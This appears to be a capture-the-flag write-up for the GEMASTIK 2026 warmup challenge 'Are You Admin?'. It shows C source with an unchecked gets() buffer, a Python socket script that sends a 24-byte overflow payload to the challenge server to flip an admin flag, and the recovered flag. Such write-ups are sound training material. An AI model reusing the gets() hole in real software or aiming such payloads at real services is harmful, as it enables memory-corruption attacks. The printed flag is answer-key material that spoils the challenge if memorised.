asepharyana
7a6e717c28
- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*) - Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto - ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All flags recovered and documented with solution methods
981 B
981 B
title, event, challenge, category, points, difficulty, flag
| title | event | challenge | category | points | difficulty | flag |
|---|---|---|---|---|---|---|
| Are You Admin? — Buffer Overflow | GEMASTIK 2026 Warmup | Are You Admin? | pwn | 500 | easy | GEMASTIK19{0v3rfl0w_ubah_var} |
Are You Admin? (500 pts) — Pwn / Buffer Overflow
Server: nc 15.232.89.109 9001
Source (chall.c):
volatile int admin = 0;
char name[16];
gets(name); // <-- overflow, no bounds check
if (admin != 0) { /* print flag */ }
Eksploitasi
Stack layout: name[16] diikuti oleh admin (int). Overflow name dengan padding 20 byte
lalu 4 byte nonzero untuk mengubah admin menjadi != 0:
import socket, time
s = socket.socket()
s.connect(("15.232.89.109", 9001))
time.sleep(0.5)
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
payload = b"A" * 20 + b"\xff\xff\xff\xff"
s.sendall(payload + b"\n")
time.sleep(1.2)
print(s.recv(4096).decode())
# -> GEMASTIK19{0v3rfl0w_ubah_var}
Flag
GEMASTIK19{0v3rfl0w_ubah_var}